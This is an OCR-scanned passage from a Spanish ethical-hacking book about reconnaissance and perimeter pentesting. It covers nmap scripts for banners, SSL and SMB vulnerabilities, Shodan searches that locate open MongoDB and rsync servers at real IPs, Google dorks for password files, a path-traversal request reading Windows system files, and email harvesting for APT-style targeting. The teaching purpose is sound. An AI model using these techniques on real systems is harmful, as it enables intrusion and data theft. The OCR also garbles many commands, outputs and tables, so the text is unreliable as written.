gran almacén de funcionalidades para mmap. A continuacion se listan las diferentes categorias:

- Autenticacion.

- Fuerza bruta.

- Configuraciones por defecto y broadeasts.

- Descubrimiento.

- Denegacion de servicio.

- Exploiting.

- Ataques externos e intrusivos.

- Malware.

- Deteccién de versiones y vulnerabilidades.

Capitulo II. La informacion es poder m

El objetivo de la prueba de concepto es mostrar algunos seripts que pucden resultar de gran interes
en un proyecto de auditorfa de seguridad, y que el lector pueda entender el potencial que tiene esta
extension del escaner.

Uno de los primeros ejemplos de seripts de nmap es el de identificacion de banner o banner grahber,
[a sintaxis para lanzar este scripf es la siguiente:

mmap [pardmetros] —script banner <target>.

En la documentacion de los seripts se puede visualizar que existen diversos argumentos que se
pueden pasar al propio scripi para realizar un andalisis mas exhaustivo o afinado. Para introducir los
argumentos al seript se utilizard la siguiente sintaxis:

jmap [pardmetros] --script banner --script-args =<argumenios=,

A continuacion se puede visualizar una imagen en la que se muestra una ejecucion de nmap con la
configura del seript basico de identificacion de servidores web por medio de la captura del bainer
que ofrece.

Onmap —sl ——script=hanner R
tarting Mmap 6.25 ¢ http://nmap.oryg 2> at 2814-93-28 168:54 Hora estBndar romance

map scan report for highsec.es O .75
ost is up <(BW.B48s latencyl-

DNE record for CEEEEEE??7.70: SRS . © o
ot shoun: 995 filtered ports

ORT STATE SERVICE UERSTON

i/tcp open ftp ProFTPD or KEnFIPD
!_banner: 228 FIP Seruver ready.

2/tcp open sth Linksys WRT45G modified dropbear sshd {(protocol Z.82
i_banner: SSH-2.B8-0penZEH

B/tcp open http?

i/tep open hostsZ2-—ns?

43/tcp open https?

Fig. 2.15: Banner grabber con imigp.

Otro ejemplo de seript interesante que se puede estudiar y probar contra un servidor web es ¢l de
SSI Cert. Con este tipo de seript se puede analizar la seguridad que ofrece el certificado digital de
un sitio web, como por ejemplo qué tipo de protocolo SSL soporta, o si los algoritmos de firma y/o
cifrado que se utilizan son débiles.

Esta informacién permite realizar un analisis de los certificados de un sitio, y poder llegar a
conclusiones interesantes, como que un certificado es vulnerable a TLS Renegoriation, si esta
firmado con un algoritmo inseguro como MD4. o si estd firmado por una entidad certificadora de
confianza o es un selfi-signed.

Para llevar a cabo este estudio o prueba se pueden concatenar el lanzamiento de scripts, tal y como
s¢ puede visualizar en la imagen. Algunos de los seripts que estan disponibles para realizar la
C.Vaiuacién de la capa de cifrado SSL en un servidor web pueden ser, por ejemplo, alguno de la lista
siguiente: ss/-cert, ssl-date, ssl-enum-ciphers, ssl-known-key, ssiv2, etcétera.
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nmap -p 443 -T4 --script ssha ssl-enum-ciphers TN

] T I
Nmap Cutput I Ports / Hostsl Topology‘ Host Details | Scans:

nmap -p 443 -T4 --seript sshi2, ssl-enum-ciphers ahgzwfw.com |V I

Starting Nmap 65.48 ( http://nmap.org ) at 2014-83-19
Romance Standard Time

Nmap scan report for ahgzwfw.com (116.117.23-237)
Host is up (8.35s latency).

PORT STATE SERVICE

Ad3/tcp open https

| ssl-enum-ciphers:

|  sSLv3:

| ciphers:

| TLS_RSA WITH_3IDES_EDE_CBC_SHA - strong
| TLS_RSA_WITH_AES_128 CBC_SHA - strong
| TLS RSA_WITH_AES 256_CBC_SHA - strong
| TLS_RSA WITH_DES_CBC_SHA - wealk

| TLS_RSA_WITH_IDEA_CBC_SHA - weak

| TLS_RSA WITH_RC4_128_MD5 - strong

| TLS_RSA_WITH_RC4_128_SHA - strong

| COmMpressors:

| DEFLATE

| NULL

|  TLSw1.®:

| ciphers:

[ TLS_RSA WITH_3DES_EDE_CBC_SHA - strong
[ TLS RSA WITH_AES_128 CBC_SHA - strong
| TLS_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_DES_CBC_SHA - weak]

| TLS_RSA WITH_IDEA_CBC_SHA - weak

| TLS_RSA WITH_RC4_128_MDS - strong

| TLS_RSA_WITH_RC4_128_SHA - strong

| compressors:

| DEFLATE

| MULL

| 1least strength: weak

Fig. 2.16: Anilisis de SSL con nmap.

Para finalizar esta prueba de concepto se hablara del protocolo SMB. Existen diversos scripfs que
permiten comprobar el estado y la seguridad del protocolo SMB en las maquinas objetivo gracias a
varios codigos referentes a este protocolo.

Como ejemplos se pueden encontrar: smb-brute, smb-check-vuins, simb-enum-domains, smb-enui-
domains, smb-enum-groups, smb-flood, smb-ls, smb-psexec, smb-server-stais, smb-security-made,
etcétera. Como se puede comprender existen diversos scripfs que realizan un analisis profundo del
protocolo en las maquinas remotas.

Capitulo II. La informacion es poder n

En la siguiente imagen se puede visualizar un pequetio ejemplo de invocacion de seiipis relacionados
con el protocolo enunciado.

nmap -V -T4 -v --script smb-check-vulns,smb-enum-shares --script-args unsafe= 1

ftcp aopen

o
i
il
1
i
i
—+
I
|
1
=k
=
I
i
o

5G31/tep apen
fervice Info: 05: Windows; CPE: cpe:/o:microsoftiwindous
Host script results:
smb-check-vulns:

MS88-867: NOT WULMERABLE

Conficker: Likely CLEAN

regsvc DoS: MOT VULMWERABLE

SMEBv2 DoS (CVE-2883-3183): VULNERABLE

MSB6-825: NOT VULMERAEBLE

MSB7-829: NO SERVICE (the Dns Server RPC service is inpactive)
smb-enum-shares:

ADMING
Aronymous access: <none

Current user ['guest') access! <none

W

C%

Anonymous access: <nonex

Current user ('guest') access: <none>
D%

Anonymous access;: <nonex

Current user ('guest') access: <none>

Anocnymous access: <nonex

Current user ('guest') access: <none>

HOTEL

ARORYMoUS 3CCEess: <nonex

Current user [ 'guest') access: READ/WRITE

IPCS

Anonymous access: READ <not a file share>

Current user ('guest') access: READ <not 3 file share>

I

I

I

I

I

I

|

I

I
| 6%
I

I

|

I

I

|

I
|_

Fig. 2.17: Andlisis de SMB con miap.

PoC: Shodan

En esta prueba de concepto se presenta el servicio Shodan como fuente de informacidn para
encontrar vias de ataque sobre ciertas organizaciones a través de una configuracion inapropiada en
los servicios de ésta. Ademas, con Shodan se puede encontrar paneles abiertos, encontrar servidores
y versiones de servicios, en general, realizar un tipo de fingerprinting pasivo.

Para ejemplificar lo que se puede encontrar con Shodan se va a proceder a realizar una bisqueda
para encontrar servidores que ofrecen el servicio MongoDB. La idea es verificar si el servicio
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[ o2 I

MongoDB puede ser accesible desde el exterior, v si éste dispone de contrasefia, ya que por defecto
su implantacion no exige una contrasefia para acceder a los datos.

usqueda de los servidores MongoDB con

En la imagen se puede visualizar como se realiza la b
Shodan. ~

*% SHODAN el 27017

Search Directory Data Analytics! Exports Devéloper Center

Home

. vote .l Export Data

HonaolB Server Informatsion

38.127.113.218

Top Countries
Cogent Communication i

United States 23008 5 - _— ”

= - “] iy = "hackgroundF lushina™s
China 12,026 BE 1fismi iy

; = wlmet finizhed’: "E814-03-25T16:19:46. TECHOE",

Russian Federation 4041 Details
- i s iwae a8,
Garmany 3,095
United Kinod Z.2E8

Tupt Lns'ts $RE4LRG. 0,

okt 1.8,

netwarks L

i

fhumRequests’s BESE,

e

i

Thyteslys™s 1835

rhutesIn's 1B9EPEE

Topoounters’s L

Fig. 2.18: Bisqueda de servicios MongoDB

Una vez encontrados los servicios que se requieren se prucba la conexion a éstos. En la mayoria
de los casos la logica dice que estaran protegidos. pero siempre se debe probar, ya que en muchas
ocasiones puede haber sorpresas.

Mediante el uso de la herramienta MongoFUE se realiza la conexion al servicio, ante la sorpresa
del auditor se accede a los datos del servicio, pudiendo encontrar colecciones con contrasefias y
usuarios. entre otros muchos datos. Esto quiere decir que gracias a Shodan se puede encontrar
servicios desprotegidos accesibles desde Internet, mucho mas a menudo de To que se puede creeren
un principio. Shodan puede ser utilizado para encontrar puntos débiles en infraestructuras criticas,
ya que este tipo de infraestructuras no se encuentran muy protegidas actualmente. Gracias a Shodan,
en diversas conferencias se ha puesto en entredicho lo comentado anteriormente.

Capitulo 1I. La informacion es poder

MongoD8 Connection

Seitings | S5H Tunnel

Enter basic settings:

Name: ‘Shﬁa}ﬁ}emu

Server, ;.12?.1 13.218 |

|
| i
Success b

Port 27017
Username: | : 1
Passwi

Databast (,/!\ Connection established successfully

Fig. 2.19: Conexién a MangolB.

Fl segundo ejemplo que se quicre presentar con el uso del servicio es el acceso a los datos de un
servidor con rsyre activo. Para realizar la busqueda con Shodan se puede llevar a cabo como se
muestra en la siguiente imagen.

% SHODAN
137.158.82.24
University of Capea Town
- Cage Town 2RgT
Details ZPA~- UCTLINUMENTHUSIASTESGEROUFR
e e S e e e e S T
ftp.leg uct.ac za Z228-
ZZh-lle leons o ftp. leg.uct. ao.zat
228~
= with the zame pathz.
20-Take wour pick.
—If woy havs and ynbswal problams, ple e
- legadmin "at' lea —dot— uot rdot:
Z28-
220-1F wou 3rs inkere...

Fig. 2.20: Basqueda de rsvire en Shoclai.

Una vez encontr ici - ibli

bk 2 encontrados los servicios que son accesibles publicamente se puede comprobar la seguridad

5 1car que se puede conectar directamente a rsync. En el ejemplo se puede visualizar como se
sta los archivos disponibles.
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> PostBlogRandom rsync rsync:// L

W . W

ftp FTP

+ PostBlogRandom rsync rsync:// VAT
drwxr-xr-x 4896 2014/01/20 14:43:27 .

-TW-r--r-- 365 2016/16/29 21:86:02 .htaccess
-rW-F=-T-- 23776 2014/81/26 13:24:18 about-website.html
-TW-T--T-- A7138 2014/01/20 13:23:22 about.html
-rw-r--r-- 27227 2014/01/20 13:24:18 contact.html
-rwW-r--r-- 26605 20814/01/28 13:24:03 downloads.html
-TW-r=--r-- 30436 2014/01/20 13:24:14 events.html
-TW-T--T-- 1156 2012/10/05 08:21:00 favicon.ico
-rw-r--r-- 25619 2614/01/20 13:24:19 index.html
-rwW-r--r-- 36485 2014/01/20 13:24:13 licensing.html

Fig. 2.21: Datos a través de rsyic.

2.Google y cia

Los motores de blsqueda aportan gran cantidad de informacién a la humanidad, aunque en algunas
ocasiones se pueden realizar bisquedas con un toque malicioso. Los motores indexan todo tipo de
informacion, los bots de Google, Bing, Yahoo no desprecian ningtin tipo de contenido, por lo que a
no ser que se especifique en el fichero robots.txt los motores capturaran las direcciones URL.

Este hecho puede ser utilizado en un proceso de footprinting y fingerprinting para recabar informacion
sobre un objetivo. Es mas, podria ser utilizado en diversos tipos de auditorias. no centrandose
solamente en la auditorfa web. Por ¢jemplo, para el punto de partida de un ataque dirigido puede ser
clave conocer hébitos de una persona.

La GHDB, Google Hacking Database, €s un repositorio con gran cantidad de blsquedas que
se pueden realizar en Google, y es extensible a otros motores ya que utilizan comandos o dorks
similares, por ejemplo Bing.

Con estas biisquedas avanzadas se pueden encontrar datos confidenciales de servidores que
se encuentran publicos y accesibles desde Internet, por gjemplo por un error del administrador.
Otros datos de interés que se pueden encontrar son ficheros de configuracion, nombres de usuario
y persona, 4cCeso @ camaras, impresoras, rutas internas, credenciales, etcétera. A continuacion se
muestran algunos dorks de interés para la realizacion de este tipo de téenicas:

Dork / Operador Descripcion

LR Una sentencia buscada entre comillas sera buscada literalmente

- Con este operador se consiguen excluir palabras de la biisqueda

Capitulo II. La informacién es poder 65
Dork / Operador Descripeion
2 C()11 este operador se consigue afiadir palabras que Google generalmente no
incluye en las busquedas. por ejemplo “el”, “la”, etcétera,
link Lista todos los enlaces que apunten al sitio web. Ejemplo: link:"sitio.com”
il Permite listar solo informacion de un sitio en concreto. Ejemplo: site:sitio.
com
info Muestra informacion sobre el dominio principal
cache Muestra la pagina que tiene Google cacheada
filetype Permite realizar bisquedas por tipo de archivos. Ejemplo: filetype:pdl
allinURL Permlte r.n'ostrar paginas mdex'ada_s de un dominio o paginas que tienen en
su dlr_eccmn URL las palabras indicadas. Ejemplo:sitio.com
il Permite mqstrar paginas indexadas que tienen en el titulo las palabras que
se pasen. Ejemplo:palabral palabra2
aliintext Be 1‘[.1L‘1€5tran paginas que conlengan todas las palabras en el contenido de
un sit1o.
. La bisqueda se realiza para encontrar sitios que contengan las palabras
intext buscadas en el texto proporcionado por la propia pagina. Ejemplo infext:
“En un lugar de la Mancha”
inURL La basqueda se.real?z'a para enconlrar sitios que contienen las palabras
buscadas en la direccion URL. Ejemplo inU/RL:admin
suidlil La blisqueda 5 realiza para epcontrar sitios que contienen las palabras
buscadas en el titulo del sitio. Ejemplo intitle;:admin

Tabla 2.01: Algunos dorks de Google.

A continuacion se muestran algunos dorks de ejemplo utilizados por Bing:

Dork | Operador Descripeion
R 5% 'on este comando _Ia bisqueda se centra en mostrar paginas que contengan
vinculos a los archivos gque se especifiquen
ext Se devuelven paginas con la extension de archivo que se especifique
i De\:'u.elve 511195 que se encuentren alojados en la direceion /P especificados.
Es util para visualizar hosts compartidos
langnage Devuelve sitios con el idioma concreto que se especifique
fwdt Realiza una busqueda que contiene una fuente RSS o Atom con los términos
que se especifiquen
U s B ‘14 direccidn LRT inds
___RL Se comprueba si la direccion URL indicada se encuentra en el motor Bing

Tabla 2.02: Algunes derks de Bing.
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Existen diversas fuentes dénde encontrar dorks, aunque conociendo los comandos se pueden obtener
muchos resultados interesantes que provoquen desde una fuga de informacion hasta una intrusién

al sistema. Una de las fuentes de GHDB es el espacio que proporciona el sitio web Exploit-
DB. En la siguiente direccion URL http:/fwww.exploit-db. com/google-dorks/ se puede
encontrar los ltimos dorks subidos por los usuarios y lo que se ha conseguido con ellos. Ademas,
proporciona una clasificacién que estd especificada en las siguientes categorias:

- Usuarios contenidos en ficheros.
- Directorios sensibles.

- Deteccion de servidores web.

- Archivos jugosoes.

- Servidores vulnerables.

- Mensajes de error.

- Archivos que contienen credenciales.

Files containing passwords
PASSWORDS, for the LOVE OF GOD!!! Google found PASSWORDS!

<cprev 1234567809 next s>

DATE Tite Summary

2014~ inurl:/backup intitlesindex of backup  Google Search:https:/ Moo google, com/search?
03-31  intext:'sgl client=operag&g=admin+username+and+pass&sour...

20013- ., ; passwords for Java Management Extensions [JMX Re
N filetype:passward jmxremate ;
11-25 b MAT, Java Vi...

Fig. 2.22: Tjemplo de GHDB.

3. Creacion del mapa de informacion

En todo el proceso comentado hasta el momento se puede entender que el volumen de informacion es
muy grande. Si el proceso de fooiprinting y fingerprinting es demasiado profundo quiza se necesite
tecnologia Big Data para almacenar la informacion y poder analizarla correctamente.

Muchas personas piensan que esta fase no es de gran utilidad, pero realmente se puede encontrar
informacién valiosa a la hora de encarar el pentest. Es cierto que existe una gran cantidad de
informacion, y que se debe analizar para aprovecharse de lo més importante. Para llevar a cabo esta
accidn se puede realizar un modelado de datos para analizar de manera mas eficiente la informacion.

Capitulo Il. La informacion es poder

La clasificacion de informacién es otra de las vias imprescindibles para obtener datos de interés. y
tener una idea clara de qué vector de ataque puede ser interesante comprobar,

El servicio de pentesting persistente denominado Faast permite a los usuarios obtener un mapa de
informacion. El servicio se centra en la fase de discover y permite al usuario obtener un mapa de
activos de la organizacién que requiere el penrest. Ademds, cubre otras fases del pentest como son
¢l andlisis v la explotacion.

En la siguiente imagen se puede visualizar el mapa de activos que presenta el servicio, aungue en este
caso solo existe un dominio. Si el dominio base del proyecto tuviera gran cantidad de subdominios
el servicio indicaria que elementos se han ide encontrando por cada subdominio.

Mapa de Activas Sifeisilldetes SEISS S SERETE

demofasstelevenpaths.com
Daminio (1}

demofaast.elavenpathz.oom &

Direcciones P (]
168.63.26.236 (F
Puerto (4}
gp02 £
80 &
5986 @
61160
servicios de red (2)
HTTD £
HTTRs [
Ruta interna (36)

Usuario (22)

Sistema operativo (2)

MicroseT Windows Server 2008 82 or Windoysg

2 build 9206 (Unknown Windows version Standard Edition) 1566 £

Wirdows NT WEB-f

URLs [1659)

B

(Qué tipo de elementos son los que se presenta? A continuacion se muestra un listado de elementos
que pueden ser analizados y encontrados con ¢l servicio:

Fig. 2.23: Presentacion de actives en un mapa de informacion.

- Direcciones /P.
- Nombres de dominio.

- Servicios de red y puertos asociados.
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- Sistemas operativos encontrados.

- Direcciones URL. Se desglosan en rutas de directorios, direcciones URL con pardmetros
(GETy POST).

- Metadatos encontrados.

- Usuarios.

- Correos electronicos.

- Versiones de Software encontradas.

- Rutas internas.

- Coolkies.

- Vulnerabilidades, recomendaciones y notificaciones.

le fotivas  Yuinsipailidades Metadatos  =ericies de rey Lofpware  DirecCionas ¥

5 v Registros por paging Buscar: ‘

‘ Iecurso 4 Metadatos ‘

Staven

‘ http:f!demofaasz.elevenpazhs.com:QDOZImetadata.fz 18064examinarracruitmenteuideapplicants.pd”  Copeland. ‘
‘ (IELTS}

hmp:f/demof'aas:.elevenpathg_com:S\GDz/metadatafzizivclamﬁCatir:rnsjnm\_ser'r)lafli_-‘l_ln 12.docx yuksek ‘

‘ n:tp:f!demu:‘aast.elevenpa:hs.mm:goﬂ?_lmetadata!EDXN.pdf Entran ‘

Davices,
‘ Inc, ‘
‘ hrpiddaimafaastelevenpaths.co m:5002/meradata/FIEWardformatdos Uncle Dan
h::p:f/demcrfaast.e!evenpaths.com:QDC?Jmetadaiaf?iEWnrdforma:.doo: Dan ‘

‘ Budny ‘

‘ Mostrandode Ta5des

Sofbware (10)

Fig. 2.24: Metadatos encontrados en un dominio y subdominios de una organizacion.

Capitulo Il La informacion es poder m

Fn la imagen anterior se puede visualizar cmo se presentan unos elementos béasicos y fundamentales
de la etapa de footprinting, como son los metadatos de los ficheros ofimdticos publicados en los
servidores web de la empresa objetivo. Por cada uno de los ficheros encontrados asociados al
dominio principal o a los subdominios del objetivo donde se comenz6 a realizar el proceso de
escaneo, se realiza un analisis completo en blisqueda de cualquier fuga de informacion que aparezca
en los metadatos y que o sea 1til en si misma o que permitan inferir nueva informacion a partir de
ella.

El conocimiento de los servicios de red es algo fundamental para empezar a tirar del hilo en un
proceso de pentest. La herramienta presenta todos los servicios de red de la organizacion encontrados
en Internet. En muchas ocasiones las grandes empresas no controlan todas las maquinas y servicios
de red que tienen publicos en Internet.

La herramienta permite conocer qué recursos estin disponibles de forma publica o privada en
Internet, lo cual ayuda a conocer mejor ¢l estado actual de la infraestructura, y si €sta se encuentra
ohsoleta en cuanto a versiones o malas configuraciones que los administradores hayan podido dejar
en el dia a dia.

tMap s £ 470, dadEs Jetasancs Servicios dered =

HTTE

{ v Registros por pagina

Suscar
Recurso “  Direcclones P Puerto Saftwiara
demofaast.elevenpaths.com 168.63.36.236 fellujed Apache 2,44

demofaast.elevenpaths.cam 168.63.36.236 g0 Micrasof HTTRAR| hizpd

Mostrandode " 32de 2 S =% SRR

HTTPS

Fig. 2.25: Servicios de red encontrados en un escanco.

Las versiones de software que se pueden obtener en el proceso requieren de un estudio, ya que
permitiran determinar, por ejemplo, si existe algin tipo de exploit publico o no - puede que se
R o : ' )

onozca la existencia de un exploit pero este haya ido vendido a un tercero que no lo ha liberado.

0 que se sepa que se ha explotado piblicamente pero no esté disponible para todo el mundo - para
dicho software.
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También permite conocer el software que utiliza la empresa, a

lgo que es de gran utilidad ya que se

podra utilizar es informacion en un posible ataque dirigido tipo APT o en un ataque de ingenieria
social en el que se use esa informacién para ganarse la confianza de la persona que vaya a scr

utilizado como victima.

Ademés. el conocer qué software tiene la empresa también puede significar un incidente reputacional
ante una posible auditoria de licenicias se puede utilizar dicha informacion. En la imagen se puede

visualizar qué muestra el servicio en su apartado de soffware.

smdes  Metadams  Beauicios orsed Software sorlores |2

Microsoft HTTPARI 2.0
Apache2.44
Daminio (1)
demgafaast.elevenpaths,com
Puerto (1)
ooz
servicios de red (1)
HTTR
URLs

OpenS5t B.9.8y

24P 5,218

Acrobat Bistillier &.1.0
Microsa HTTRAFI hepd
nEiny

Microsoft Office 2007
QuarkXPress &

Acrobat Distilher 3.02

Migrozoft Office

Fig. 2.26: Versiones de sgffware encontradas en un escanco.

2. L.2

Por tltimo, el servicio es capaz de obtener un gran nimero de vulnerabilidades, recomendaciones y
notificaciones extraidas del analisis y pruebas realizadas con el mapa de informacion obtenido en el

proceso de descubrimiento.

Capitulo Il. La informacion es poder

En la imagen siguiente se puede visualizar la lisia de las vulnerabilidades encontradas en la gjecucion
de un ciclo completo de peniesi sobre un dominio dado ordenadas por grado de criticidad usando un
codigo de colores visual

Vulnerabilidades
E vulnerabilidad Conocida
H soLinjectian
Bl Cross-site Scripting
B HTvL injction
B eath Traversal
@ ar
B command injection
CVE-Z012-1823

[ pestropani
O ait dewnloader

O ws_Fre.og

it

Fig. 2.27: Vulnerabilidades con el mapa de informacion.

Yara o1yl e e SR i 3 Q . "oe . .
Para entender mejor como funciona este sistema, en la imagen de la pagina siguiente se muestra a
:m?du de ¢gemplo el detallado o evidencia que se presenta cuando es descubierta una vulnerabilidad
LI, Local File Tnclusion. la cual fue descubierta a través de una blisqueda activa de recursos en
Internet.

Irusi analizar toda la informacion obtenida a través del escanco automatico con la herramienta sc
rcal!za‘n pruebas de pentest como ésta, y se obtienen resultados que deberan ser incluido como parte
del informe de resultados que se entregue al final. 0 como parte de sucesivas pruebas de intrusion
que se apoyen en eta vulnerabilidad para continuar midiendo el riesgo del sistema.

El servicio q;:talla !os pasos llevados a cabo durante todo el proceso, que van desde el momento en
?:; Zcidﬂ)u:geolst mformacicjm. ini§ia[, pasando por cdmo es adquirid_a.y llegando hasta el punto de
. cri1icida;de ; ener un per]{egio de_ellolo dctec.tz.ir una vulnerabilidad, independientemente de
’ sta. En la imagen se visualiza la evidencia de la vulnerabilidad de Lf7 que se ha
comentado en este apartado.
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Fvidencia

GET /pathtraversal/ptraversal. php?archive=C¥3a%2Fwindows52F system32iardr
ivers¥2Fetc¥2rhosts HTTR/L.1

User-Agent: 864ccBcd-8e45-4852-bBds-24984d8Raidd

Host: demofaast.elevenpaths.com:9882

Connection: Close

# Copyright (c) 1993-2889 Micresoft Cerp.

%

# This is a sample HOSTS file used by Microseft TCP/IP for Windows.
#

% This file contains the mappings of IP address

Fig. 2.28: Evidencia obtenida de una vulnerabilidad.

4. Orientando el pentesting hacia un APT

Tras la creacién del mapa de informacién en las primeras fases de un pentest se ha encontrado
informacion que puede ser (til en otros entornos. Por ejemplo, la informacion de rutas internas,
correos electronicos o nimeros de identificacién DNI que puedan aparecer en metadatos, etcétera,
pucde ser utilizado en los denominados APT como punto de partida o semilla que pueda ayudar a los
auditores en este tipo de pruebas.

Hoy en dia la seguridad de las empresas depende de muchos factores, y es conocido que,
generalmente, el eslabon mas débil es el usuario. De este modo el pentesting puede evolucionar y
llegar a las pruebas a los empleados, ya que en ocasiones puede ser la via mas factible para conseguir
el éxito. En un proceso de hacking ético existe el APT, del cual se hablard en profundidad durante
el préximo capitulo.

Es cierto que un pentest ofrece la posibilidad de realizar pruebas de intrusion en sistemas, aunque
si un atacante quiere vulnerar una organizacion quizd el camino mas corto sea la utilizacion de un
empleado para acceder al interior. Por esta razén la vision global del pentesting puede aumentar, y
gracias al mapa de informacién generado en las primeras fases del pentest se podria utilizar dicha
informacion para otro tipo de prucbas.

Ademés. se puede entender que una vision global no se centra en lo que la empresa expone €n
[nternet. si no en la necesidad de concienciar y poner controles para que los empleados no hagan que
la inversion en seguridad no sea util.

Capitulo 1. La informacion es poder

Sin entrar en detalle porque ya se hablara de ello en el préximo capitulo, comentar que un APT,
Advanced Persistent Thieat, es un conjunto de ataques informaticos que sucederan de manera
continua contra una persona o conjunto de personas de interés.

El objetivo de los atacantes es conseguir informacion o datos de valor que puede tener una persong,
organizacion o gobierno. Por esta razén, se debe tener en cuenta que las personas que rodean a la
persona que tiene bajo su control dicha informacion también pueden ser objetivo de un APT. ya que
a traves de estas personas se puede llegar al objetivo final.

Se resume que un APT consta de tres vertientes:

- Es un proceso avanzado. No siempre se utilizan técnicas avanzadas para lograr los
objetivos, aunque en muchas ocasiones se necesitan varios desencadenantes o condiciones
para que el ataque tenga éxito.

- Es un proceso persistente. Se hace un seguimiento del objetivo, intentando monitorizar
acciones, clasificar comportamientas en el mundo digilal, incluso fuera de él, y realizando un
profiling de la persona.

- Esun proceso basado en las amenazas del mundo digital. Un usuario estd expuesto a més
amenazas cada dia. De este modo los empleados de una organizacion también lo estaran.

(Qué elementos pueden ser interesantes para un 4”77 Como se ha mencionado anteriormente
en un proyecto de pentesting se pueden obtener elementos como metadatos, correos electrénicos
personales y profesionales, direcciones IP, niimeros de teléfone. de N/, identificaciones internas
de empleados. eteétera. Por si solos, o sin un contexto, lal vez pueden no decir demasiado a priori,
pero pucden ser utilizados de la forma adecuada para potenciar el impacto de un ataque dirigido en
un esquema de 4PT.

En otras palabras, existe una relacion bidireecional entre elementos de un pentest que pueden
ser utilizados en un proceso de AP7. Esto hace que el seguimiento de una persona o profiling no
comience de cero.

PoC: Obteniendo correos

Un gjemplo claro de lo comentado anteriormente es la obtencidn de correos electronicos para realizar
profiling. En un pentest esto puede ser util para conocer correos electronicos y realizar pruchas de
fortaleza de contrasefias mediante ¢l uso de un diccionario basico. Pero estos cotreos electronicas
pueden ser utilizados en un proceso de APT.

En este capitulo ya se ha visto como conseguir correos electronicos en Internet. Se sabe que se
D‘UCden utilizar diversos medios. La utilizacién de los motores de bisqueda como Google. Bing o
Exalead es una via muy recurrida por las herramientas que anuncian estas funcionalidades. Algunas
de las herramientas més potentes para lograr esto son the harvester y maltego. i

stas herramientas estan disponibles en la distribucion Kali Linuy.
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Capitulo I11
Confeccionando el ataque

1. Entornos

En el presente capitulo se presentan distintas téenicas basadas en experiencias y conocimientos
tedrico-practicos. El capitulo pretende mostrar los diferentes entornos a los que se enfrenta un
auditor de seguridad en cualquier proceso de Ethical Hacking. La confeccion del atague supone uno
de los pasos importantes y clave de toda auditoria, es importante entender el entorno en el que el
auditor se mueve para poder preparar la mejor estrategia para lograr el éxito.

Es sabido por todos que en esta fase del proyecto, tanto el conocimiento como la experiencia es todo
un grado, y que aunque existe parte procedimental para llevar a cabo las distintas pruebas y etapas.
los pequefios detalles pueden aportar la diferencia entre tardar una jornada en hacerse con el servidor
requerido o perder tres jornadas con ello.

El estudio del entorno es algo indispensable para que la prueba pueda llegar a buen puerto, el
conocimiento de las plataformas y tecnologfas hace que el auditor disponga de un punto de ventaja
frente a otro que las debe aprender a priori. Por ello, el equipo. como se¢ ha comentado en este libro.
debe disponer de varios expertos en diferentes plataformas y tecnologias. Este hecho da un punto a
favor a la empresa que ofrece el servicio para realizar el proceso de Lihical Hacking.

La reflexion durante la ejecucion de las pruebas es importante, ya que tras un dia largo de trabajo
puede resultar indispensable pensary analizar sobre lo obtenido y los objetivos a lograr. Es importante
que las reflexiones sean diarias, tener reuniones de equipo, evaluar lo conseguido para poder analizar
lo que se ha logrado e intentar obtener los objetivos optimizando recursos.

2. Auditoria perimetral

Las auditorfas perimetrales permiten a un auditor conocer el estado de seguridad del perimetro de la
organizacion analizando las posibles entradas del exterior hacia la DMZ y zonas internas. El auditor
1o conoce la configuracion del perimetro, por ello se denomina algunas veces auditoria ciega, y se
estudiard el estado de seguridad de los elementos que se pueden analizar desde el exterior. El objetivo
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final de la auditoria es obtener acceso a la red interna de la organizacidn o a la DMZ, asi como
obtener informacion interna y detectar vulnerabilidades que pongan en peligro la informacion de la
organizacién. Gracias a este tipo de auditoria se dispone de una primera visién de vulnerabilidades
existentes en el perimetro para una posterior correccion de ellas.

Es importante entender que en este tipo de auditorias la imagen corporativa de la organizacion
auditada esta en juego. ya que si el auditor o grupo de auditores consiguen obtener informacion
de caracter privado serd una mancha importante. Las pruebas a realizar en este tipo de auditorfas
dependen también de los elementos o servicios que se encuentren en el perimetro, aunque se puede
realizar un listado con pruebas genéricas sobre dicha temética. En lineas generales el resultado final
de este tipo de auditorias permitira conocer lo siguiente:

- Vulnerabilidades que pueden ser explotables desde el exterior de la organizacion.
- Las consecuencias de este tipo de vulnerabilidades.

- El grupo de auditores deben proporcionar una serie de recomendaciones para paliar las
vulnerabilidades detectadas en este proceso.

El cliente recibe un informe detallado sobre el siartus de seguridad de los elementos que se encuentran
accesibles publicamente, y los elementos de seguridad a los que un usuario en el exterior se puede
enfrentar.

Pruebas

Este tipo de auditorias dénde se depende mucho de los servidores y servicios que una organizacion
disponga en el perimetro pucden tener diferentes tipos de prucbas debido a la heterogeneidad del
entorno. Por esta razén. se pretende presentar una especie de procedimiento donde se indiguen
pruebas que en la mayoria de los casos se puedan llevar a cabo independientemente del tipo de
entorno.

A continuacion se expone el conjunto de prueba que después se detallara:

- TIdentificacion de servicios. La determinacion de servicios mediante lécnicas de

fingerprinting para obtener ideas y analizar vias por donde atacar la seguridad de los distintos

servicios.

- Anilisis de vulnerabilidades, recopilacién y ejecucion de exploits.

- Analisis de informacion. Tras la recogida de ésta se debe realizar un andlisis y primeras
pruebas. La realizacion de técnicas de fizzing y crawling ayudan a completar los mapas de
informacién. Los puntos de entrada deben ser encontrados y verificar la seguridad de éstos.
Analisis de metadatos.

- Analisis de codigo.

- Deteccion de malas configuraciones y exposiciones no deseadas por la organizacion.

- Deteccion y explotacién. Realizacién de analisis del protocolo SSL, manipulacion de
parametros, anélisis de cookies y utilizacion de téenicas de hacking web.

Capitulo I11. Confeccionando el ataque

Es dificil realizar un procedimiento de prucbas para este tipo de auditorias, ya que hay que tener
claro que las nuevas técnicas se deben incorporar siempre para mejorar las prucbas realizadas en las
auditorias perimetrales. Ademds, las pruebas siempre dependeran de los servicios que la organizacion
tenga expuestos hacia el exterior.

En el presente apartado se tiende a centrarse en pruebas cercanas a sitios web. aunque algunas son
generales para otros servicios.

Identificacion de servicios

Esta es una de las primeras acciones que se deben llevar a cabo, y es que se necesita identificar
qué servicios se encuentran expuestos con el exterior de la organizacion. En otras palabras. ¢l
conocimiento de los servicios perimetrales de la organizacion proporcionaran al auditor una vision
de qué cosas tiene que probar y le proporciona una primera idea de qué cosas puede atacar y como
llevarlo a cabo.

Para llevar a cabo el descubrimiento de maquinas que puede tener la organizacion en la parte externa
del perimetro se utiliza herramientas, como las mencionadas en el capitulo anterior. Simplemente
recordar que herramientas como Packer permiten oblener un mapa de todo recursa de la organizacion
que se encuentra expuesto en Internet. Sin nombrar que esta herramienta es también capaz de sacar
